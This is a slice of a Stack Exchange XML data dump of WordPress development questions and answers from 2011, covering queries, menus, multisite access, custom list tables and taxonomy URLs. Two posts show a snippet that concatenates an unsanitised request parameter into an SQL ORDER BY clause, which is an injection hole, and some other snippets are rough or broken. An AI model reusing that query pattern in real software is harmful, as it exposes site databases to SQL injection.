  <row Id="25988" PostTypeId="1" CreationDate="2011-08-15T19:30:19.577" Score="1" ViewCount="43" Body="&lt;p&gt;I'm looking for a plugin, sort of like a white board, where clients and myself can communicate on the wordpress dashboard... perhaps something to manage client tickets...they can enter in one, and i can reply&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2011-08-15T20:14:39.177" Title="Plugin for communicating with clients" Tags="&lt;plugins&gt;&lt;admin&gt;" AnswerCount="1" />
  <row Id="25989" PostTypeId="2" ParentId="25967" CreationDate="2011-08-15T20:04:01.757" Score="2" ViewCount="" Body="&lt;p&gt;You cannot use the direct class methods &lt;code&gt;have_posts()&lt;/code&gt; or &lt;code&gt;the_post()&lt;/code&gt; unless you're working with the main query. In order to modify the main query you must use &lt;code&gt;query_posts&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to create a new query object you need to call those methods from the new query object as Rarst showed in his example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should be either...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Changing the main query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('orderby=rand'); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;front-video-container&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php if( have_posts() ) : ?&amp;gt;           &#xA;&amp;lt;?php while( have_posts() ) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; If this query has other purposes you may need to retain existing query parameters, using an array merge or conditional &lt;code&gt;query_posts&lt;/code&gt; logic.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Or, creating a new query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query('orderby=rand'); ?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;front-video-container&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php if( $my_query-&amp;gt;have_posts() ) : ?&amp;gt;           &#xA;&amp;lt;?php while( $my_query-&amp;gt;have_posts() ) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's hard to say without seeing more of the code and knowing where you're placing it, i'd &lt;em&gt;assume&lt;/em&gt; you will need to retain query parameters, in which case i'd suggest using the first sample and conditionalising  the &lt;code&gt;query_posts&lt;/code&gt; line.. eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if( isset( $_GET['p'] ) &amp;amp;&amp;amp; 'random' == $_GET['p'] ) {&#xA;    query_posts('orderby=rand');&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="2962" LastActivityDate="2011-08-15T20:04:01.757" />
  <row Id="25990" PostTypeId="2" ParentId="25988" CreationDate="2011-08-15T20:14:39.177" Score="1" ViewCount="" Body="&lt;p&gt;Maybe you should try &lt;a href=&quot;http://codecanyon.net/item/wordpress-email-ticket-support-plugin/254823&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt;. But it is a premium plugin.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-15T20:14:39.177" />
  <row Id="25991" PostTypeId="2" ParentId="25987" CreationDate="2011-08-15T20:56:59.313" Score="1" ViewCount="" Body="&lt;p&gt;You can use WordPress built in gallery, see &lt;a href=&quot;http://codex.wordpress.org/Gallery_Shortcode&quot; rel=&quot;nofollow&quot;&gt;Gallery Shortcode&lt;/a&gt;. If you look for the gallery shortcode function in WordPress core, you can see how it grabs the image attachments to a post with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_children&quot; rel=&quot;nofollow&quot;&gt;get_children&lt;/a&gt; and outputs them. You can use this as a starting point to write your own function to output the gallery with your own markup and css / js by filtering &lt;code&gt;post_gallery&lt;/code&gt; or just ouputting attached images without adding the gallery shortcode to the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also numerous gallery plugins, some have support for slider scripts. If you search the plugin repository you'll find a few.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit-&lt;/strong&gt; there's also no reason why you can't store n number of images as multiple custom fields with the same key. you'll get an array of images, you just won't be able to manage the order easily. another option is to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;create your own meta box&lt;/a&gt; and manage an array of images yourself using a single custom field. There are a few questions on this site regarding managing images with your own meta box + media library if you search around.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-08-15T21:07:12.633" LastActivityDate="2011-08-15T21:07:12.633" />
  <row Id="25992" PostTypeId="1" CreationDate="2011-08-15T21:05:11.780" Score="2" ViewCount="44" Body="&lt;p&gt;I'm trying to get the current menu item ID. I hve found one thread that has put me on the right track: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16243/how-to-get-current-menu-item-title-as-variable/16337#16337&quot;&gt;How to get current-menu-item title as variable?&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I use in my function.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_nav_menu_objects', 'current_wp_nav_menu_object' );&#xA;&#xA;function current_wp_nav_menu_object( $sorted_menu_items )&#xA;{&#xA;   foreach ( $sorted_menu_items as $menu_item ) {&#xA;        if ( $menu_item-&amp;gt;current ) {&#xA;            $GLOBALS['current_menu_title'] = $menu_item-&amp;gt;title;&#xA;            $_SESSION['current_menu_title'] = $menu_item-&amp;gt;title;&#xA;            break;&#xA;        }&#xA;    }&#xA;    return $sorted_menu_items;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But there is one annoying problem.&#xA;The data stores is always the last clicked menu item, not the current clicked menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let'ssay I have the following menu items:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Item 1  &lt;/li&gt;&#xA;&lt;li&gt;Item 2  &lt;/li&gt;&#xA;&lt;li&gt;Item 3  &lt;/li&gt;&#xA;&lt;li&gt;Item 4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I use &lt;code&gt;echo $_SESSION['current_menu_title']&lt;/code&gt; to see the result)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the menu items in the following order, gives me the following results:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Item 1 -&amp;gt; no output&#xA;Item 2 -&amp;gt; outputs Item 1  &#xA;Item 4 -&amp;gt; outputs Item 2  &#xA;Item 1 -&amp;gt; outputs Item 4  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why isn't the current clicked menu item outputted?&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-15T21:05:11.780" Title="Not able to get current menu ID" Tags="&lt;custom-menus&gt;&lt;navigation&gt;" CommentCount="3" />
  <row Id="25993" PostTypeId="1" AcceptedAnswerId="25995" CreationDate="2011-08-15T21:15:06.440" Score="0" ViewCount="29" Body="&lt;p&gt;Anyone know a way to have WordpressMU to work like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New user registers an account and thus is registered for the whole network (default functionality in WP Multisite), but then he/she would be required to &quot;ask&quot; for an access for the sites within the network one by one. The network home page would be accessible for everyone, but the subsites should be private.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in essence, the user has one username and password for the whole network, but in order to view the site, the user has to be given rights to do so site by site basis by the admin of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Plugins? Anything?&lt;/p&gt;&#xA;" OwnerUserId="7917" LastActivityDate="2011-08-15T21:27:00.360" Title="WordpressMu network with private sites" Tags="&lt;multisite&gt;&lt;network&gt;&lt;private&gt;" AnswerCount="1" />
  <row Id="25994" PostTypeId="1" AcceptedAnswerId="26002" CreationDate="2011-08-15T21:23:25.867" Score="1" ViewCount="32" Body="&lt;p&gt;I am using the Custom List Table Example plugin as a base to display entries from a table I created in the wordpress database...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I am having issues with this function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function column_default($item, $column_name){&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Cannot use object of type stdClass as array in&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the example in the plugin, it uses a simple array. But the $data returned from the query returns several rows of data (i.e. an array with object, object, object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside of my prepare_items() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; global $wpdb;&#xA;          $orderby = (!empty($_REQUEST['orderby'])) ? $_REQUEST['orderby'] : 'name'; //If no sort, default to title&#xA;          $sql = &quot;SELECT * FROM wp_nc_location ORDER BY &quot; . $orderby;&#xA;          $data = $wpdb-&amp;gt;get_results($sql);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2417" LastEditorUserId="2417" LastEditorDisplayName="" LastEditDate="2011-08-15T21:43:24.943" LastActivityDate="2011-08-15T22:56:12.833" Title="How to handle sql with Custom List Table Example" Tags="&lt;wp-list-table&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="25995" PostTypeId="2" ParentId="25993" CreationDate="2011-08-15T21:27:00.360" Score="0" ViewCount="" Body="&lt;p&gt;By deafault, any sub-site is open to public. You would need to add code to check if a user is logged in. And if user is logged in, does he have the right priviliges?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would do, is to create one new &lt;code&gt;role&lt;/code&gt; for each sub-site. Then when a new user registers, I would manually add the right sub-site role to the user, thus giving him access to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the members plugin for managing roles: &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/members/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-15T21:27:00.360" CommentCount="1" />
  <row Id="25996" PostTypeId="2" ParentId="25994" CreationDate="2011-08-15T21:34:03.300" Score="0" ViewCount="" Body="&lt;p&gt;This is what I use to retrieve data from custom tables:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  // Retrieve all seasons registered&#xA;  function get_registered_seasons() {&#xA;    global $wpdb;&#xA;&#xA;    $table_name   = $wpdb-&amp;gt;prefix . &quot;cwgallery&quot;;    &#xA;    $sql          = &quot;SELECT DISTINCT year, season FROM $table_name ORDER BY year DESC &quot;;&#xA;    $result  = $wpdb-&amp;gt;get_results($sql);&#xA;&#xA;    return $result;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2011-08-15T21:34:03.300" CommentCount="1" />
  <row Id="25997" PostTypeId="1" CreationDate="2011-08-15T21:52:07.787" Score="0" ViewCount="16" Body="&lt;p&gt;Looking for some resources on how to remove an item from the quick edit screen for a certain taxonomy.  Anyone point me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="3491" LastActivityDate="2011-08-15T21:52:07.787" Title="Remove tags textarea from quick edit menu" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;quick-edit&gt;" CommentCount="2" />
  <row Id="25998" PostTypeId="1" CreationDate="2011-08-15T22:13:09.097" Score="2" ViewCount="36" Body="&lt;p&gt;How to write an external javascript file with dynamic variable values generated using php from wp db values?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of using wp_localize_script for inline js variables,  I'd like to use wp_enqueue_script with $src pointing to this php file acting like external js.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, on the external js using php, the content as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Header(&quot;content-type: application/x-javascript&quot;);&#xA;$params = array(&#xA;  'timezone_string'           =&amp;gt; get_option( 'timezone_string' ),&#xA;  'jump_to_top'           =&amp;gt; __( 'Jump to top' ),&#xA;  .....&#xA;);&#xA;echo &quot;$timezone_string $jump_to_top;&#xA;.....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When viewing page source, the external script file is listed correctly, but clicking on the external file link, it takes me to home page. I added wp-load.php, still the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to do this correctly?&lt;/p&gt;&#xA;" OwnerUserId="6851" LastActivityDate="2011-08-15T22:13:09.097" Title="dynamic external javascript generated using php" Tags="&lt;customization&gt;&lt;javascript&gt;&lt;variables&gt;" CommentCount="4" />
  <row Id="25999" PostTypeId="1" AcceptedAnswerId="26011" CreationDate="2011-08-15T22:29:39.677" Score="1" ViewCount="33" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/16295/query-multiple-taxonomy-in-custom-post-type/16299#16299&quot;&gt;This answer&lt;/a&gt; provides the code for a query that returns an OR match on a taxonomy term:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;global $query_string;&#xA;$args['tax_query'] = array(&#xA;    array(&#xA;         'taxonomy' =&gt; 'status'&#xA;        ,'terms'    =&gt; array( 'available', 'pending' ) // change to &quot;sold&quot; for 2nd query&#xA;        ,'field'    =&gt; 'slug'&#xA;    ),&#xA;);&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to have my taxonomy template retrieve the term values for the array ( ,'terms'    =&gt; array( 'available', 'pending' ) ) from the URL, the same as for the single term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is to allow taxonomy terms to change over time, without having to hard-code page templates for particular combinations of interest, so that, if there's a better way, please suggest it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;http://mondaybynoon.com/2011/05/20/revisiting-custom-post-types-taxonomies-permalinks-slugs/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; I have permalinks mapping to template files as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;example.com/cptslugs                maps to my archive-cptname.php template. &#xA;example.com/cptslug/cpt-post        maps to my single-cptname.php template. &#xA;example.com/cptslugs/ctxslug/term   maps to my taxonomy-ctxname.php template. &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to have something like: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/cptslugs/ctxslug/term1/term2/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;map to my taxonomy-ctxname.php template such that get_query_var( 'term' ) returns an array of terms (term1,term2) from the url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if I could get  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/cptslugs/ctxslug/?terms=term1,term2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to map to my taxonomy-ctxname.php template such that get_query_var( 'term' ) returns an array of terms (term1,term2) from the url, perhaps via a rewrite rule and a filter, that would be ok, too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But either way, the idea is that the template file should work, whether it's passed one term or an array of terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok - &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-1-advanced-taxonomy-queries/comment-page-1/#comment-7134&quot; rel=&quot;nofollow&quot;&gt;@scribu to the rescue!&lt;/a&gt; -- maybe.  Kept searching, and this is what I found.  Thought I had it all figured, but I can't get it to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;?tax1=term1,term2&amp;tax2=term2+term3&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;maps to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;query_posts( array(&#xA;  'tax1' =&gt; 'term1,term2',&#xA;  'tax2' =&gt; 'term3+term4'&#xA;) );&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which further maps to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;query_posts( array(&#xA;  'tax_query' =&gt; array(&#xA;    array(&#xA;      'taxonomy' =&gt; 'tax1',&#xA;      'field' =&gt; 'slug',&#xA;      'terms' =&gt; array('term1', 'term2'),&#xA;      'operator' =&gt; 'OR'&#xA;    ),&#xA;    array(&#xA;      'taxonomy' =&gt; 'tax2',&#xA;      'field' =&gt; 'slug',&#xA;      'terms' =&gt; array('term3', 'term4'),&#xA;      'operator' =&gt; 'AND'&#xA;    ),&#xA;) );&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;example.com/?ctxname=term1,term2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;renders the front page template.  &lt;strong&gt;Revision: it renders taxonomy-ctxname.php when you spell ctxname correctly.  Imaging that!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/?cptslug/ctxslug=term1,term2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(taxonomy is registered with a slug of cptslug/ctxslug) also renders the front page template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/cptslug/?ctxslug=term1+term2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;renders the archive-ctpname.php template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get a URL that renders the taxonomy-ctxname.php or the taxonomy.php template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, once I get that down - suggestions for pretty urls are welcome but not absolutely necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE TWO&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;example.com/?ctxname=term1,term2&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;example.com/ctpslugs/ctxslug/term1,term2/&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both render taxonomy-ctxname.php as desired.  See details in my answer, posted below.&lt;/p&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="4645" LastEditorDisplayName="" LastEditDate="2011-08-22T03:26:30.150" LastActivityDate="2011-08-22T03:26:30.150" Title="How to pass URL parameters for advanced taxonomy queries with multiple terms for one custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;url-rewriting&gt;&lt;templates&gt;&lt;advanced-taxonomy-queries&gt;" AnswerCount="1" />
  <row Id="26000" PostTypeId="1" CreationDate="2011-08-15T22:49:26.320" Score="1" ViewCount="28" Body="&lt;p&gt;I am trying to make a public gallery site, in a way that anyone can upload a new photo with some details and submit it to moderation from the front-end. Nested albums to classify the gallery photos are also needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen some people advising of using the native attachment post type for this with as many custom taxonomies as needed. However, I am still learning, and I don't have the skills yet to create a custom interface for existing post type.. so I stuck with my simple solution for now, which is to create an additional custom post type for photos using the native WP interface, with some further customizations (e.g. custom fields, custom metaboxes, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My idea of implementing this is as follows:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a non-hierarchial custom post type for photos, so every post&#xA;will have only one photo with some details. I'm thinking of using&#xA;the featured image for the photo (I know, it stores the thumbnail&#xA;size, but as I can get the attachment id I can get any other size I&#xA;want in the template, right?) For the detail custom fields, I'm&#xA;thinking of using &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;Custom Field Template&lt;/a&gt; plugin, because it also&#xA;hooks the custom fields in the quick edit menu, which as I read,&#xA;cannot be easily done with WP.. so using it would make the life&#xA;easier. Getting the custom fields in the quick edit menu doesn't&#xA;just mean a quicker edit, it also provides the ability to bulk edit&#xA;the fields for a group of photos, which is great for a gallery.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a hierarchial custom taxonomy for albums.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://formidablepro.com/&quot; rel=&quot;nofollow&quot;&gt;Formidable Pro&lt;/a&gt; plugin for the front-end form. I chose it&#xA;over Gravity Forms because it's far more cheeper, and it has all of&#xA;the features I need (Basically, creating a new post of a custom post&#xA;type with a specified status, assigning custom taxonomies, custom&#xA;fields, uploading an image, etc.) Since I can specify the default&#xA;status for any new post made through the form, I can simply set it&#xA;to 'Awaiting Review' or 'Draft', so the photo gets published after&#xA;moderation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After that I'm going to customize the custom post type edit page columns to show the photo thumbnails, albums, and any other needed details (e.g. custom fields).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I've made so far:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created the photos custom post type, with the default metaboxes: title, author and thumbnail. I've also created the albums custom taxonomy and customized the photos edit columns to show the albums (no thumbs yet). Finally, I used Custom Field Template to create the custom fields I want for the photos post type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far, it feels nice overall, except the featured image part. I don't like the idea of going to a pop-up window to modify the photo, since the photo it-self should be the most important thing in a &lt;em&gt;photos&lt;/em&gt; custom post type! I wish an inline interface, exactly as the one in the Media admin section.. I can live with that though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Comments?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it make any sense to you? Do you have any suggestion/improvement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the long thread, and thanks in advanced for your comments.&lt;/p&gt;&#xA;" OwnerUserId="6500" LastEditorUserId="6500" LastEditorDisplayName="" LastEditDate="2011-08-15T23:03:08.810" LastActivityDate="2011-08-15T23:03:08.810" Title="Trying to make a public gallery using custom post type + custom taxonomies" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;custom-field&gt;&lt;gallery&gt;" />
  <row Id="26001" PostTypeId="1" CreationDate="2011-08-15T22:54:24.910" Score="0" ViewCount="12" Body="&lt;p&gt;Many of my posts are in Multiple Main Categories / Sub-Categories, so the way I currently have My Breadcrumbs programmed looks really confusing.  It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main Category &gt; Main Category &gt; Sub Category &gt; Sub Category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to program is to have the breadcrumbs look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main Category 1 &gt; Sub Category || Main Category 2 &gt; Sub Category (of Main Category 2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't quite figure out how to program it like that&lt;/p&gt;&#xA;" OwnerUserId="6910" LastActivityDate="2011-08-15T22:54:24.910" Title="Wordpress Custom Programmed Breadcrumbs" Tags="&lt;categories&gt;" CommentCount="3" />
  <row Id="26002" PostTypeId="2" ParentId="25994" CreationDate="2011-08-15T22:56:12.833" Score="0" ViewCount="" Body="&lt;p&gt;Got it working by passing $item as an array&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function column_default($item, $column_name){&#xA;$item = (array)($item)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-08-15T22:56:12.833" />
  <row Id="26003" PostTypeId="1" AcceptedAnswerId="26026" CreationDate="2011-08-15T23:16:18.980" Score="1" ViewCount="32" Body="&lt;p&gt;I have a plugin folder foobar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside this plugin I have a page called foobar.php. Inside this page I have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;          $orderby = (!empty($_REQUEST['orderby'])) ? $_REQUEST['orderby'] : 'name'; //If no sort, default to title&#xA;          $sql = &quot;SELECT * FROM wp_nc_location ORDER BY &quot; . $orderby;&#xA;          $data = $wpdb-&amp;gt;get_results($sql); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This query works inside of my foobar.php page. However, in the same folder I have another page called process.php, and when I include the &lt;em&gt;identical&lt;/em&gt; code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;          $orderby = (!empty($_REQUEST['orderby'])) ? $_REQUEST['orderby'] : 'name'; //If no sort, default to title&#xA;          $sql = &quot;SELECT * FROM wp_nc_location ORDER BY &quot; . $orderby;&#xA;          $data = $wpdb-&amp;gt;get_results($sql); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function get_results() on a non-object in...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why doesn't the global $wpdb appear to work in the other page? (process.php)?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-08-16T11:09:24.667" Title="$wpdb doesn't appear to work on page inside of a plugin" Tags="&lt;query&gt;&lt;wpdb&gt;" AnswerCount="1" CommentCount="8" />
  <row Id="26004" PostTypeId="1" CreationDate="2011-08-15T23:44:41.263" Score="1" ViewCount="21" Body="&lt;p&gt;I've run into some trouble with the way attachments are attached to posts.&#xA;The thing is, that I've removed the editor from my CPT and instead I'm using a custom way to upload and organize attachments connected to the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since I'm using attachments without the editor, I need an alternative way to display the attachments on the front end. I decided to use some code to display all attachments attached to the post. This works fine with exception of when you have a post that you've already published and you decide that you want to change some attachments or maybe upload some new ones. By just using the uploader to upload an attachment it'll get attached and instantaniously get shown on the front end – not that great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So I guess, what I'm looking for, is a way to attach the attachments to the post when the post is actually created/edited. Instead of attaching when the file is uploaded.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I figured I'd just make sure that the images wasn't uploaded before the edit/update button was pushed, but that will create a bad user experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Sorry for the title that can be somewhat confusing. What would be a better title?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2830" LastEditorUserId="2830" LastEditorDisplayName="" LastEditDate="2011-08-30T18:09:24.407" LastActivityDate="2011-08-30T18:09:24.407" Title="Using attachments without the editor – Getting attachments to show after update/edit of post" Tags="&lt;wp-admin&gt;&lt;attachments&gt;&lt;uploads&gt;&lt;media-upload&gt;" />
  <row Id="26005" PostTypeId="1" AcceptedAnswerId="26028" CreationDate="2011-08-16T00:13:30.437" Score="0" ViewCount="44" Body="&lt;p&gt;I am trying to modify the code for default content to display based on post type, but so far I have been unsuccesful.   The base code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'default_content', 'my_editor_content' );&#xA;function my_editor_content( $content ) {&#xA;    $content = &quot;default content goes here....&quot;;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My modifications include:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'default_content', 'my_editor_content' );&#xA;&#xA;function my_editor_content( $content ) {&#xA;    if ( 'sources' == get_post_type() ) {&#xA;        $content = &quot;Please insert an image of the document into this area.  If there is no image, please descript the document in detail.&quot;;&#xA;        return $content;&#xA;    } elseif ( 'stories' == get_post_type() ) {&#xA;        $content = &quot;Please write your reminiscences, recollections, memories, anecdotes, and remembrances in this area.&quot;;&#xA;        return $content;&#xA;    } elseif ( 'pictures' == get_post_type() ) {&#xA;    $content = &quot;Please insert an image of a photograph into this area.&quot;;&#xA;    return $content;&#xA;    } else {&#xA;    $content = &quot;default!&quot;;&#xA;    return $content;&#xA;};}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this just isn't working.   I feel like I have missed the obvious.&lt;/p&gt;&#xA;" OwnerUserId="7358" LastActivityDate="2011-08-16T11:20:32.583" Title="Default or Preset Content for Custom Post Types" Tags="&lt;functions&gt;&lt;filters&gt;&lt;add-filter&gt;&lt;default&gt;" AnswerCount="2" />
